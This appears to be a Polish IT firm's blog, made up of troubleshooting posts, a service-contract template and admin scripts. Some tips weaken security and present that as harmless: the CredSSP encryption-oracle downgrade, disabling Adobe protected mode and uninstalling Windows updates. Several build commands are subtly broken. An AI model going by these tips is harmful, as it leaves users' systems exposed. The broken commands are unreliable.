DSERVE to zespół ekspertów oferujących kompleksowe wsparcie IT – od audytów bezpieczeństwa i administracji serwerami, po wdrożenia zaawansowanych zabezpieczeń i systemów ERP, które usprawniają pracę firm. Nasi specjaliści mają wieloletnie doświadczenie w branży i stale śledzą najnowsze trendy. Znamy lokalny rynek i potrzeby firm, bo sami jesteśmy przedsiębiorcami. W pierwszym etapie współpracy najczęściej wykonujemy gruntowny audyt bezpieczeństwa – sprawdzamy infrastrukturę, testujemy systemy i identyfikujemy potencjalne luki. Na tej podstawie proponujemy dalsze kroki: czy warto dołożyć firewall, przeszkolić zespół czy może wdrożyć dodatkowe narzędzia.

Jako właściciel DSERVE często widzę, jak niedoskonałości w zabezpieczeniach mogą zagrozić całemu biznesowi. W jednym z ostatnich przypadków firma klienta straciła dostęp do części danych, bo pracownik kliknął w podejrzany załącznik e-mail. Ostatecznie koszty przywracania systemów i przestoju były wielokrotnie wyższe niż cena wszystkich zabezpieczeń, które wtedy można było wdrożyć. Takie doświadczenia utwierdzają mnie w przekonaniu, że profilaktyka w cyberbezpieczeństwie jest kluczowa – zawsze lepiej zapobiegać niż reperować skutki incydentu.

Jeśli Twoja firma potrzebuje wsparcia w zakresie cyberbezpieczeństwa, zapraszam do kontaktu: 503-683-550, ds@dserve.pl

Podczas próby połączenia się z maszyną wirtualną za pomocą Hyper-V Managera może pojawić się błąd uniemożliwiający zestawienie sesji konsoli – szczególnie jeśli serwer działa w wersji Windows Server CORE. Najczęściej przyczyną jest problem z delegowaniem poświadczeń (CredSSP).

Objawy:

• Brak możliwości połączenia z konsolą maszyny wirtualnej.
• Komunikat o błędzie autoryzacji lub problemach z szyfrowaniem.

Rozwiązanie:

Opcja 1: Zmiana ustawień przez GPO (zalecane w środowiskach domenowych)

1. Uruchom Edytor zasad grupy (gpedit.msc) na komputerze klienta.
2. Przejdź do: rustKopiujEdytujKonfiguracja komputera -> Szablony administracyjne -> System -> Delegowanie poświadczeń
3. Znajdź opcję: javaKopiujEdytujEncryption Oracle Remediation (lub: Naprawa usługi Oracle szyfrowania)
4. Ustaw ją na Włączone, a wartość poziomu ochrony na Zgodny (2).
5. Zatwierdź zmiany i zrestartuj komputer (lub uruchom gpupdate /force).

Opcja 2: Ręczna zmiana rejestru (np. dla pojedynczych klientów)

Na komputerze klienta otwórz Wiersz polecenia jako administrator i wklej poniższe polecenie:

cmdKopiujEdytujreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" /f /v AllowEncryptionOracle /t REG_DWORD /d 2

Po wykonaniu tej komendy ponów próbę połączenia się z konsolą VM – powinno zadziałać.

Dlaczego to działa?

Microsoft zaostrzył domyślne ustawienia zabezpieczeń protokołu CredSSP, co może powodować błędy przy próbie połączenia z maszynami w starszych lub mniej zaufanych środowiskach. Ustawienie poziomu zgodności pozwala na nawiązanie połączenia bez naruszania istotnych zasad bezpieczeństwa – szczególnie w środowiskach testowych lub lokalnych.

Jeśli zauważysz problem polegający na tym, że usunięte pliki z pulpitu ponownie się pojawiają przy następnym logowaniu użytkownika korzystającego z profilu wędrującego, którego dane przechowywane są na dysku sieciowym, warto sprawdzić ustawienia serwera plików.
Rozwiązaniem może być wyłączenie funkcji Opportunistic Lock (Oplocks) na udziale SMB, co poprawi synchronizację i zmniejszy ryzyko występowania takich konfliktów.

dodaj do /etc/my.cnf:

[mysqld]
max_allowed_packet=64M
local-infile=0
innodb_file_per_table
sql_mode=NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

[client]
socket=/var/lib/mysql/mysql.sock

Jesli Twój błąd to: MSDTC is unavailable lub Error: 8004E00F when trying to access COM+ Applications in Component Services

Rozwiązanie błędu: „MSDTC is unavailable” lub „Error: 8004E00F” przy próbie dostępu do aplikacji COM+ w Component Services

Cześć!
Jeśli podczas pracy z aplikacjami COM+ w Component Services napotkaliście błąd:

• MSDTC is unavailable
• Error: 8004E00F

przyczyną mogą być usługi zainstalowane przez oprogramowanie HP, które blokują działanie usługi Microsoft Distributed Transaction Coordinator (MSDTC).

Jak rozwiązać problem?

1. Wyłącz i zdezaktywuj usługi HP, które mogą zakłócać działanie MSDTC.
   (Sprawdź w services.msc, które usługi HP są aktywne, i ustaw je na „Wyłączony”, jeśli nie są niezbędne.)
2. Zresetuj usługę MSDTC, wykonując poniższe polecenie z uprawnieniami administratora w Wierszu Polecenia: msdtc -resetlog

Po wykonaniu tych kroków, spróbuj ponownie uruchomić aplikację. Błąd powinien zniknąć.

Zmiany w konfiguracji Exim: port 25 wyłącznie do komunikacji serwerowej

W trosce o bezpieczeństwo i zgodność z najlepszymi praktykami w zakresie przesyłania poczty elektronicznej, wprowadziliśmy istotną zmianę w konfiguracji naszego serwera Exim. Od teraz użytkownicy nie będą mogli korzystać z portu TCP 25 do uwierzytelniania SMTP. Oznacza to, że programy pocztowe nie będą już mogły wysyłać wiadomości przez port 25. Ten port będzie służył wyłącznie do komunikacji pomiędzy serwerami pocztowymi (MTA do MTA).

Jakie porty należy teraz używać?

Wysyłanie wiadomości przez klientów pocztowych możliwe będzie tylko przez porty:

• 587 (SMTP z uwierzytelnieniem i STARTTLS)
• 465 (SMTP z szyfrowaniem SSL/TLS)

Dlaczego wprowadziliśmy tę zmianę?

Główną motywacją jest całkowite rozdzielenie komunikacji serwerowej (MTA-MTA) od komunikacji klient-serwer (MUA-MTA). Takie podejście znacząco zwiększa bezpieczeństwo i umożliwia bardziej precyzyjne kontrolowanie ruchu:

• Porty 587 i 465 można objąć dedykowanymi regułami zapory (firewalla), np. ograniczając możliwość wysyłania wiadomości tylko z zaufanych sieci.
• Niemożliwe staje się teraz przeprowadzanie ataków brute-force na hasła użytkowników przez port 25.
• Użytkownicy nie będą mogli błędnie skonfigurować swoich programów pocztowych tak, by przesyłały dane uwierzytelniające bez szyfrowania.

Koniec z uwierzytelnianiem SMTP przez połączenia nieszyfrowane

Wraz z tą zmianą, Exim nie zezwala już na uwierzytelnianie SMTP przez połączenia nieszyfrowane. SMTP z użyciem uwierzytelnienia przesyła hasła w formie jawnej (bez haszowania), co oznacza, że nawet jedno niezaszyfrowane połączenie może skutkować przechwyceniem danych logowania. Wyjątek stanowią połączenia lokalne (localhost), które nadal mogą działać bez szyfrowania.

Co z istniejącymi konfiguracjami?

Zmiana ta może wpłynąć na działanie klientów pocztowych lub serwerów, które do tej pory zakładały dostępność uwierzytelnienia na porcie 25. Jeśli to konieczne, administratorzy mają możliwość przywrócenia poprzedniego zachowania w prosty sposób, edytując konfigurację Exima.

Aby prawidłowo skonfigurować podpis elektroniczny w programie Adobe Acrobat lub Adobe Reader, należy odpowiednio przygotować środowisko aplikacji. Poniżej przedstawiamy szczegółowe kroki:

1. Uruchomienie aplikacji z użyciem Rosetty

Aby zapewnić kompatybilność z bibliotekami odpowiedzialnymi za obsługę podpisu elektronicznego, konieczne jest uruchomienie aplikacji Adobe Acrobat DC oraz Adobe Acrobat Helper przy użyciu Rosetty.

Sposób konfiguracji:

• Przejdź do folderu Aplikacje.
• Zlokalizuj Adobe Acrobat.
• Kliknij prawym przyciskiem myszy na ikonę aplikacji i wybierz Informacje.
• Zaznacz opcję Otwórz z użyciem Rosetty.

Następnie:

• Kliknij prawym przyciskiem myszy na Adobe Acrobat i wybierz Pokaż zawartość pakietu.
• Przejdź do folderu Contents > Helpers.
• Zlokalizuj aplikację Adobe Acrobat Helper i powtórz powyższe kroki (Informacje → Otwórz z użyciem Rosetty).

2. Wyłączenie zabezpieczeń w Adobe Acrobat

W celu umożliwienia korzystania z zewnętrznych bibliotek podpisu cyfrowego, należy wyłączyć określone zabezpieczenia w ustawieniach aplikacji:

• Otwórz Adobe Acrobat.
• Przejdź do ustawień aplikacji.
• Odznacz opcję odpowiedzialną za blokowanie zewnętrznych rozszerzeń (np. „Włącz tryb chroniony przy uruchomieniu”).

3. Dodanie ścieżki do biblioteki podpisu

Ostatnim krokiem jest wskazanie ścieżki do zewnętrznej biblioteki odpowiedzialnej za obsługę podpisu elektronicznego:

bashKopiujEdytuj/Applications/Charismathics/libcmP11.dylib

Ścieżkę należy dodać w ustawieniach tożsamości lub menedżera urządzeń PKCS#11 w aplikacji Adobe.

Aby zwiększyć bezpieczeństwo Twojego konta Microsoft 365, prosimy o włączenie dwuskładnikowego uwierzytelniania (MFA). Jest to prosty proces składający się z kilku kroków, które zajmą Ci nie więcej niż 5 minut.

Zanim zaczniesz:

• Przygotuj swój telefon komórkowy (Android lub iOS).
• Upewnij się, że masz dostęp do Internetu.

Krok 1: Logowanie do konta Microsoft 365

1. Zaloguj się na swoje konto firmowe Microsoft 365 przez przeglądarkę internetową na stronie:
   • https://portal.office.com
2. Po zalogowaniu się zobaczysz komunikat, który informuje Cię o konieczności skonfigurowania dodatkowych informacji zabezpieczających. Kliknij Dalej.

Lub przejdź na stronę: https://myaccount.microsoft.com następnie wybierz „Zaktualizuj informacje” przy zakładce Informacje zabezpieczające.

Kolejno Dodaj metode logowania oraz wybierz Microsoft Authenticator:

Krok 2: Wybór metody uwierzytelniania

1. Wybierz opcję Aplikacja mobilna jako metodę zabezpieczania swojego konta, a następnie wybierz opcję:
   • Otrzymuj powiadomienia o zatwierdzeniu (zalecane)
2. Kliknij przycisk Konfiguruj.

Krok 3: Instalacja aplikacji Microsoft Authenticator

Na swoim telefonie komórkowym:

1. Pobierz i zainstaluj aplikację Microsoft Authenticator:
   • Android – Sklep Play
   • iOS – App Store
2. Uruchom aplikację, zezwól na przesyłanie powiadomień oraz wybierz opcję Dodaj konto → Konto służbowe lub szkolne.
3. Zeskanuj kod QR, który pojawił się na ekranie komputera za pomocą aplikacji Microsoft Authenticator.
4. Po poprawnym zeskanowaniu, w aplikacji pojawi się nowo dodane konto.

Krok 4: Weryfikacja i aktywacja MFA

1. Po zeskanowaniu kodu QR, kliknij przycisk Dalej na ekranie komputera.
2. System Microsoft prześle na Twój telefon powiadomienie do zatwierdzenia logowania – kliknij Zatwierdź w aplikacji Microsoft Authenticator.
3. Na ekranie komputera, po potwierdzeniu logowania w aplikacji, kliknij przycisk Gotowe.

Gratulacje!

Twoje konto Microsoft 365 jest teraz zabezpieczone metodą MFA. Przy kolejnych logowaniach do swojego konta, po wpisaniu hasła będziesz otrzymywać powiadomienie w aplikacji Microsoft Authenticator, aby potwierdzić swoją tożsamość.

Jeśli po aktualizacji Comarch XL do wersji 2023.2.1.3201 (lub innej) pojawia się błąd (ostrzeżenie 936) oraz problemy z wyświetlaniem języka w interfejsie klienta, rozwiązaniem jest zmiana ustawień regionalnych systemu.

Domyślnie po aktualizacji system zaznacza opcję BETA: Użyj formatu Unicode UTF-8 do obsługi języków z całego świata. Aby uniknąć problemów, należy tę opcję odznaczyć w ustawieniach regionalnych systemu Windows.

Po dokonaniu zmiany warto ponownie uruchomić komputer, aby poprawki zostały w pełni zastosowane.

Powód problemu:

1. Błędna aktualizacja z strony MICROSOFT365

Rozwiązanie:

1. Włączyć OUTLOOK CLASSIC – tam działa wszystko OK
2. Przekierować wiadomość z mail współdzielony na swój osobisty i wtedy załącznik działa
3. Poczekać na aktualizacje i rozwiązanie problemu z strony MICROSOFT – powinno wszystko działać do poniedziałku
   1. „Per Microsoft, the fix should be complete by end of day tomorrow 2/26/2025 and completely resolved by 2/28/2025.”

Jeśli napotykasz problem z klientem MSTSC (Remote Desktop Client), który polega na ciągłym rozłączaniu po kilku sekundach i wyświetlaniu komunikatu o ponownym połączeniu, możliwym rozwiązaniem jest wykonanie poniższych kroków w systemach Windows 10 / Windows 11.

Przyczyna problemu

Problem wynika z jednej z aktualizacji systemu Windows oznaczonych jako:

• KB5050094
• KB5051987

Sposób rozwiązania

1. Zmiana ustawień zasad grupy:
   • Otwórz aplikację „Edytor lokalnych zasad grupy” (gpedit.msc).
   • Przejdź do:
     Konfiguracja komputera → Szablony administracyjne → Komponenty systemu Windows → Usługi pulpitu zdalnego → Klient usługi Podłączanie pulpitu zdalnego.
   • Znajdź opcję „Wyłącz protokół UDP na kliencie” i ustaw ją na Włączone.
2. Odinstalowanie problematycznych aktualizacji:
   • Uruchom Wiersz polecenia jako administrator i wykonaj następujące komendy
   • wusa /uninstall /kb:5051987
   • wusa /uninstall /kb:5050094

Po wykonaniu powyższych kroków problem z rozłączaniem powinien zostać rozwiązany.

Rozwiązań jest kilka:
– Zakup dodatkowej licencji od MS ( https://learn.microsoft.com/en-us/exchange/mailbox-migration/migrate-mailboxes-across-tenants )
– Rozwiązania firm trzecich, np. CodeTwo ( Office365 Migration )
– Rozwiązanie imapsync ( 2.264 )

W tym przypadku przedmiotem migracji było ok. 15 kont co dla rozwiązania CodeTwo to koszt ok 700 zł, dla licencji MS podobnie ( dość trudna konfiguracja ) lub darmowa za pomocą imapsync.

Procedura migracji:

• Przygotowanie nowego tenanta, czyli założenie kont na które będziemy migrowali zawartość skrzynek
• Użycie skryptu imapsync\wygenerowanie tokenów oauth2 dla kont źródłowych oraz docelowych – posłużą one później za metoda autoryzacji do kont:

• Użycie skryptu imapsync\wywołując autoryzacje metodą wcześniej wygenerowanego tokenu
  

Można oczywiście to zautomatyzować również w pętli, wymusić generowanie odświeżenia tokenów ( potrzebne przy dużych skrzynkach ).

Metoda sprawdzi się dla 15-100-300 skrzynek bez żadnych problemów a jest darmowa nie licząc niewielkiego kosztu licencji programu imapsync.

Jeśli potrzebujesz wsparcia – chętnie pomoge.

UMOWA SERWISOWA

Zawarta w zzz w dniu zzz

pomiędzy:

XXXX

zwany w dalszej treści umowy „Zleceniobiorcą”,

a

YYYY

Reprezentowanym przez ZZZZ

zwana dalej „Zleceniodawcą”.

§1

Przedmiotem niniejszej umowy jest świadczenie na rzecz Zleceniodawcy:

1. Usług serwisowych i doradczych w postaci sprawowania opieki i nadzoru nad: jednostkami roboczymi PC, serwerami, siecią LAN i łączem internetowym WAN oraz innym sprzętem IT znajdującymi się u Zleceniodawcy w szczególności polegających na:
   1. rozbudowie i modernizacji sieci i jednostek PC zgodnie z zamówieniem Zleceniodawcy zaakceptowanym przez Zleceniobiorcę w drodze pisemnej, w tym za pośrednictwem     e-mail,
   1. udzielaniu wsparcia telefonicznego lub za pośrednictwem e-mail w rozwiązywaniu ewentualnych problemów dotyczących: sprzętu PC, funkcjonowania sieci LAN lub łącza internetowego WAN oraz innego sprzętu IT oraz oprogramowania w postaci:
      1. instalacji i konfiguracji,
      1. interpretacji komunikatów o zaistniałych błędach,
      1. identyfikacji przyczyn nieprawidłowego działania,
      1. rozwiązywania identyfikowanych problemów,
      1. podstawowych wyjaśnień odnoszących się do definicji,
   1. wdrażaniu nowego istniejącego oprogramowania (na przykład: Optima),
   1. codziennym wykonywaniu kopii zapasowych danych z serwera
2. Usług serwisowych w postaci sprawowania opieki i nadzoru nad komputerami wykorzystywanymi przez pracowników Zleceniodawcy,
3. Usług serwisowych w postaci sprawowania opieki i nadzoru nad komputerami, siecią LAN          i łączem internetowym WAN znajdującymi się w siedzibie Zleceniodawcy,
4. Analizy i udzieleniu stosownej pomocy w obniżeniu kosztów telekomunikacyjnych oraz innych kosztów IT,
5. Dostawy sprzętu komputerowego dla Zleceniodawcy, której zakres i warunki zostaną każdorazowo określone w zaakceptowanym przez Strony zamówieniu.

§2

1. Zleceniobiorca oświadcza, iż dochowa należytej staranności w działaniach podejmowanych       w celu realizacji przedmiotu niniejszej umowy.
2. Zleceniobiorca oświadcza, że posiada wiedzę, doświadczenie oraz niezbędne zaplecze sprzętowe, materiałowe oraz personalne w zakresie obsługi informatycznej oraz nadzoru teleinformatycznego.

§3

1. Wsparcia, o którym mowa w § 1 ust. 1 lit. b) Zleceniobiorca zapewni w dni robocze w godzinach od 7:00 do 23:00.
2. Wszelkie zmiany konfiguracyjne w oprogramowaniu, Zleceniobiorca będzie dokumentował, a dokumentację w/w konfiguracji przekaże Zleceniodawcy w wersji elektronicznej na koniec miesiąca, w którym zmiana nastąpiła.
3. Zleceniodawca wyraża zgodę na ustanowienie dla Zleceniobiorcy zdalnego dostępu do serwera oraz stacji PC na potrzeby realizacji przedmiotu umowy.
4. Zleceniodawca zobowiązany jest do zapewnienia Zleceniobiorcy właściwego dostępu do sprzętu i pomieszczeń na czas niezbędny do wykonania przedmioty umowy w uzgodnionym przez Strony terminie.

§4

1. Zleceniobiorca zobowiązany jest  do niezwłocznego usunięcia awarii, usterek bieżących i innych problemów dotyczących hardwaru, a w przypadkach uzasadnionych najdalej w terminie 2 dni roboczych lub uruchomienia rozwiązań zastępczych w ciągu 2 dni roboczych liczonych od dnia otrzymania w drodze e-mailowej informacji o zaistniałym problemie                  i udostępnienia sprzętu i pomieszczeń przez Zleceniodawcę zgodnie z § 4 ust.2. Natomiast wszelkie awarie, usterki, czy inne problemy dotyczące oprogramowania Zleceniobiorca zobowiązany jest usuwać na bieżąco bez najmniejszej zwłoki.
2. Zleceniodawca, gdy będzie to konieczne obowiązany jest niezwłocznie udostępnić dostęp do sprzętu i pomieszczeń na czas niezbędny do usunięcia awarii, usterki lub uruchomienia rozwiązań zastępczych, o których mowa w ust. 1. Za nieuzasadniony brak dostępu do sprzętu i pomieszczeń po stronie Zleceniodawcy, Zleceniobiorca nie ponosi ujemnych skutków prawnych.
3. Zgłoszenia o zauważonych awariach oraz usterkach mogą być przesyłane 24 godziny na dobę na wskazany poniżej adres e-mail osoby podanej do kontaktu po stronie Zleceniobiorcy lub poprzez platformę WWW do której dane zostaną przesłane w formie elektronicznej.
4. Zleceniobiorca przyjmuje w/w zgłoszenia w dni robocze w godzinach 7:00 – 23:00.
5. W przypadku konieczności wymiany sprzętu, w tym podzespołów, wszelkie jego koszty zakupu ponosi Zleceniodawca, po wcześniejszym wyrażeniu zgody, na podstawie przedstawionych przez Zleceniobiorcę faktur VAT Proforma lub oferty cenowej.

§5

1. W przypadku uzasadnionego niezadowolenia Zleceniodawcy z jakości otrzymanej usługi służy mu prawo wniesienia pisemnej reklamacji wysłanej za pośrednictwem pocztowego operatora publicznego listem poleconym z potwierdzeniem odbioru na wskazy adres Zleceniobiorcy lub na adres e-mail (XXX).
2. Reklamacja będzie rozpatrzona w terminie 14 dni liczonych od daty jej otrzymania przez Zleceniobiorcę. 

§6

1. Zleceniobiorca nie ponosi odpowiedzialności za szkody wyrządzone wadliwym działaniem zewnętrznych łączy teletransmisyjnych, przerwami energii elektrycznej i innych zdarzeń, na które Zleceniobiorca nie ma wpływu.

§7

1. Postanowienia niniejszej umowy wchodzą w życie w dniu jej podpisania przez Strony.

§8

1. Po wykonaniu rozbudowy lub modernizacji przedmiotu umowy Zleceniobiorca zobowiązuje się dostarczyć w ciągu 7 dni Zleceniodawcy niezbędne instrukcje, klucze licencyjne, jak również opis wymagań sprzętu dla dostarczonego oprogramowania, oraz wszelkie konieczne dla eksploatacji informacje.
2. Z realizacji niniejszej umowy za każdy kolejny okres rozliczeniowy, o którym mowa w ust.3 zostanie sporządzony raport serwisowy z przepracowanych roboczogodzin.
3. Strony ustalają, iż okres rozliczeniowy wynosi jeden miesiąc kalendarzowy.

§9

1. Strony ustalają, iż stawka za roboczogodzinę wynosi 100,00 zł netto powiększone o należny w dniu wystawienia faktury podatek VAT. W kwocie wynagrodzenia. Wynagrodzenie, o którym mowa w ust. 1, zostanie każdorazowo wypłacone na podstawie wystawionej na koniec miesiąca faktury VAT i dołączonego do niej przez Zleceniobiorcę protokołu odbioru, o którym mowa w § 9 ust. 2. 
2. Wynagrodzenie wynikające z faktury VAT Zleceniodawca zapłaci przelewem na rachunek bankowy wskazany przez Zleceniobiorcę w fakturze VAT w terminie 14 dni, licząc od dnia   doręczenia faktury.
3. Za dotrzymanie terminu zapłaty, o którym mowa w ust. 3, uważa się złożenie przez Zleceniodawcę w/w terminie polecenia przelewu.
4. Faktura sprzedaży wraz z protokołem zostanie przesłana w dniu jej wystawienia na adres e-mail

§10

1. Niniejsza umowa zostaje zawarta na czas nieokreślony.
2. Każda ze Stron ma prawo rozwiązać niniejszą umowę z zachowaniem jednomiesięcznego okresu wypowiedzenia liczonego od pierwszego dnia miesiąca następującego po miesiącu, w którym miało miejsce skuteczne doręczenie wypowiedzenia.
3. Zleceniodawca może rozwiązać umowę ze skutkiem natychmiastowym z winy Zleceniobiorcy, w przypadku, gdy niniejsza umowa jest wykonywana z rażącym naruszeniem jej zapisów.
4. Strony zastrzegają dla wypowiedzenia formę pisemną pod rygorem nieważności.
5. Wypowiedzenie rozumie się za skutecznie doręczone w dniu, w którym wpłynęło na wskazany w niniejszej umowie adres do korespondencji jednej ze Stron, lub z upływem terminu awizacji przesyłki operatora pocztowego.
6. Wypowiedzenie jest skuteczne, jeżeli zostanie wysłane za pośrednictwem pocztowego operatora listem poleconym za potwierdzeniem odbioru.

§11

1. W celu prawidłowego wykonania przez Zleceniobiorcę obowiązków wynikających z niniejszej Umowy i wyłącznie w zakresie niezbędnym dla wykonania przez Zleceniobiorcę takich obowiązków, Zleceniodawca powierza Zleceniobiorcy możliwość przetwarzania danych osobowych zawartych w systemach informatycznych Zleceniodawcy jednak wyłącznie w celu ewentualnej migracji, naprawy danych zgodnie z ustawą z dnia 29 sierpnia 1997 r. o ochronie danych osobowych Wykonywanie przez Zleceniobiorcę operacji przetwarzania danych w zakresie lub celu przekraczającym zakres      i cel opisane powyżej wymaga każdorazowo pisemnej zgody Zleceniodawcy.

§12

1. Strony zobowiązują się zachować w tajemnicy wszelkie informacje i dane uzyskane w związku z wykonywaniem przedmiotu umowy.
2. W przypadku zmian personalnych osób biorących udział w realizacji przedmiotu umowy zastosowanie znajdą odpowiednio postanowienia określone w ust. 2.
3. Strony zobowiązują się informować w formie pisemnej o wszelkich zauważonych nieprawidłowościach, mogących mieć wpływ na bezpieczeństwo informacji.
4. Zleceniodawca odpowiada w czasie trwania umowy na zasadach ogólnych za szkodę wyrządzoną Zleceniobiorcy, zaś Zleceniobiorca analogicznie wobec Zleceniodawcy, w związku z ujawnieniem, przekazaniem, wykorzystaniem, zbyciem lub oferowaniem zbycia informacji      i danych, w tym danych osobowych pozyskanych w związku z realizacją przedmiotu umowy.

§13

1. Wszelkie zmiany niniejszej umowy wymagają pod rygorem nieważności formy pisemnej.
2. Strony zobowiązują się informować siebie nawzajem o każdej zmianie swoich danych, w tym danych adresowych.
3. Strony wyznaczają na piśmie swoich przedstawicieli odpowiedzialnych za realizację przedmiotu umowy, przy czym zmiany tych osób można dokonać z zachowaniem formy pisemnej.
4. Osobami kontaktowymi ze strony Zleceniodawcy są: XXX
5. Osobami kontaktowymi ze strony Zleceniobiorcy są: Dawid Sobieraj
6. Wszelkie spory wynikające z niniejszej umowy będzie rozstrzygać sąd powszechny właściwy dla Zleceniodawcy.
7. W sprawach nieuregulowanych niniejszą umową znajdą zastosowanie przepisy Kodeksu cywilnego.

§14

1. Umowę sporządzono w dwóch jednobrzmiących egzemplarzach, po jednej dla każdej ze Stron.

CENTOS 7:

# Instalacja pakietów z strony MICROSOFT:
curl https://packages.microsoft.com/config/rhel/7/prod.repo> /etc/yum.repos.d/mssql-release.repo
yum clean all
yum update -y
ACCEPT_EULA = Y yum install -y msodbcsql mssql-tools unixODBC-devel 

# Instalacja SQLSRV + PDO_SQLSRV
cd /usr/local/src
wget https://pecl.php.net/get/sqlsrv-5.9.0.tgz
tar -zxvf sqlsrv-5.9.0
cd sqlsrv-4.3.0
/usr/local/php74/bin/phpize
./configure --with-php-config=/usr/local/php74/bin/php-config
make
make install

cd /usr/local/src
wget https://pecl.php.net/get/pdo_sqlsrv-5.9.0.tgz
tar -zxvf pdo_sqlsrv-5.9.0
cd pdo_sqlsrv-5.9.0
/usr/local/php74/bin/phpize
./configure --with-php-config=/usr/local/php74/bin/php-config
make
make install

# Następnie do pliku konfiguracji php.ini dodajemy odpowiednie rozszerzenia
# /usr/local/php74/lib/php.ini
# extension = pdo_sqlsrv.so 
# extension = sqlsrv.so

Kolejnym krokiem jest instalacja pakietu freetds oraz jego komplikacja.

wget ftp://ftp.freetds.org/pub/freetds/stable/freetds-1.1.15.tar.gz
tar -xvzf freetds-1.1.15.tar.gz
cd freetds-1.1.15 
./configure --prefix = / usr / local / freetds 
make 
make install

Dodajemy następnie odpowiednie rozszerzenie do custombuild php celem jego komplikacji w Directadmin.

cd / usr / local / directadmin / custombuild 
./build used_configs | grep configure.php
# wsparcie: https://help.directadmin.com/item.php?id=252
# w pliku /usr/local/directadmin/custombuild/custom/php/configure.php74 dodajemy --with-mssql = / usr / local / freetds \ oraz:

cd / usr / local / directadmin / custombuild 
./build clean 
./build update n 
./build php n

Po wykonaniu powyższych poleceń mamy dostęp do pdo_sqlsrv.

W tle niestety przez okres 24-48h trzymana jest sesja importu, by ją przerwać należy wydać polecenie: remove-syncrequest ( z poziomu powershell ).

Komunikat błędu:

Błąd: UserAlreadyBeingMigratedException: Użytkownik „xxxx” ma już oczekujące żądanie. Usuń istniejące żądanie i wznów bieżącą partię lub uruchom nową partię dla tego użytkownika. –> Name must be unique per owning mailbox. There‎’s already a request with the name ‎’IMAP:xxxx‎’ owned by mailbox ‎’EURP195A003.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/standodostep.onmicrosoft.com/xxxx’.

Rozwiązanie:

remove-syncrequest -identity „xxx”

$dzisiejszydzien = (Get-Date).ToString(’yyyyMMdd’)

Get-ChildItem -Path D:\SOFTVIG\PROGRAM\AUTOSTACJA3\import-ic\SKRYPT -Include . -File -Recurse | foreach { $_.Delete()}

D:\CURL\curl-7.66.0_2-win64-mingw\curl-7.66.0-win64-mingw\bin\curl.exe –location -o „getinvoices.txt” –request GET „https://katalog.intercars.com.pl/api/v2/External/GetInvoices?from=20200401&to=$dzisiejszydzien” –header „kh_kod: xxxx” –header „token: xxxx”

Get-Content getinvoices.txt | Select-String -Pattern „” | Out-File id-faktur.txt (Get-Content id-faktur.txt).replace(”, ”) | Out-File test2.txt (Get-Content test2.txt).replace(”, ”) | Out-File test3.txt
(Get-Content test3.txt).replace(’ ’, ”) | Out-File test4.txt
(Get-Content test4.txt | Select-Object -Skip 1) | Out-File wynik-id.txt

foreach($line in Get-Content wynik-id.txt) {
if($line -match $regex){

D:\CURL\curl-7.66.0_2-win64-mingw\curl-7.66.0-win64-mingw\bin\curl.exe –location -o „D:\SOFTVIG\PROGRAM\AUTOSTACJA3\import-ic\FV_$line.XML” –request GET „https://katalog.intercars.com.pl/api/v2/External/GetInvoice?id=$line” –header „kh_kod: xxxx” –header „token: xxxx”

}

}

Próba logowania w panelu administracyjnym Joomla powoduje przeładowanie strony WWW bez komunikatów oraz bez informacji w error log. Wyeliminowano problemy z zapisem sesji.

Rozwiązanie:

Problem rozwiązano poprzez edycje pliku configuration.php wiersza z :

• public $cookie_domain = ”; [ poprzednia pomiędzy pola 'XYZ’ była wpisana nazwa domeny, po usunięciu problem został rozwiązany ]

Sugestie na podobne problemy:

• Sprawdzenie w bazie danych statusu KOMPONENTU autoryzacji ( joomla_auth )
• Problemy z zapisem sesji ( plik/baza danych ) –

Poradnik usuwania problemu związanego z błędem dostępu do bazy SQL, komunikat błąd:

Microsoft SQL server hosting the configuration database is currently unavailable. Possible reasons are heavy load, networking issue, server reboot, or hot backup.

Rozwiązanie:

1.) Wyłączamy usługę VEEAM Enpoint
2.) Uruchamiamy regedit i idziemy do klucza: HKEY_LOCAL_MACHINE\SOFTWARE\Veeam\Veeam Endpoint Backup\ w podanym kluczu zmieniamy wartość recreatedatabase=1 ,
3.) Uruchamiamy usługę Veeam Endpoint
4.) W panelu VeeamEndpoint Backup konfigurujemy ponownie ustawienia kopii zapasowej – działa szybciej i poprawnie.

HowTo – transfer maszyn wirtualnych pomiędzy serwerami matkami opartymi o Citrix XenServer.

Niestety sama funkcjonalność systemu Citrix XenServer jak i możliwość exportu maszyny i późniejsze jej zaimportowanie trwa bardzo długo, inną możliwością którą tutaj wykorzystałem jest użycie oprogramowania clonezilla.  Co potrzebujemy? – Serwer pośredniczący w wymianie na którym zgramy obraz dysku z serwera A, a później wczytamy do serwera B.

Kolejne kroki;

1.) Kopia CloneZilla:
-> Pobieramy .iso z najnowszym oprogramowaniem clonezilla, następnie wybieramy opcje operacji device-image, kolejny krok to wybranie miejsca docelowego jako SSH ( do tego będzie potrzebny nam serwer pośredniczący tam wrzucimy tymczasowo naszą kopie obraz systemu ), po konfiguracji opcji montowania katalogu zdalnego po ssh, możemy wykonać obraz dysku.
2.) Odzysk z kopii wykonanej clonezillą na nowej maszynie – najpierw tworzymy nową maszyne VM o podobnych lub lepszych parametrach na nowym serwerze, kolejny krok to uruchomienie .iso clonezilla i przejście tych samych kroków co w punkcie pierwszym, jednak w tym przypadku kopie odzyskujemy

W teorii łatwo i wygodnie.

Sugestie i rozwiązanie problemów w trakcie:

-> Po imporcie maszyn zmieniamy adresy IP – mogą zawierać stare ustawienia zapisane statycznie,
nano /etc/network/interfaces
-> Przy imporcie/exporcie maszyny opartej o Ubuntu 10.04 – należy wykonać inną procedurę przy zakładaniu maszyny VM – musimy tutaj z szablonu wybrać Ubuntu 10.04 siłą rzeczy musimy go zainstalować za pomocą network install, następnie możemy usunąć kontener HDD, i dodać kontener właściwy. Po co to wykonujemy ? – głównie po to by uzyskać flagi rozruchu i template który jest potrzebny do startu dla Ubuntu 10.04.

1.) Konfiguracja konta smsapi.pl , należy w panelu użytkownika skonfigurować hasło do API którego później użyjemy,

2.) Do wysyłania SMS wykorzystujemy API: https://github.com/smsapi/smsapi-bash-client

3.) Kod programu „smsapi” oraz „.smsapi.rc” kopiujemy do katalogu serwera zabbix w lokalizacji:

/usr/lib/zabbix/alertscripts

